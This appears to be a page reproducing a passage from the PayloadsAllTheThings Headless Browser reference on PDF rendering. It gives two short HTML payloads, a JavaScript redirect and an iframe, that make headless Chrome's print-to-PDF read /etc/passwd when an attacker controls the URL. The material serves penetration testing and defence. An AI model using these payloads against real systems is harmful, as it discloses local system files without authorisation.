Headless Browser · passage 4 of 8

PDF Rendering

Text · Headless Browser/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Consider a scenario where a headless browser captures a copy of a webpage and exports it to PDF, while the attacker has control over the URL being processed. Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html` * Javascript Redirect ```html <html> <body> <script> window.location="/etc/passwd" </script> </body> </html> ``` * Iframe ```html <html> <body> <iframe src="/etc/passwd" height="640" width="640"></iframe> </body> </html> ```

Every one of the 8 is a mark on the map. Named now: 1 to 8, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.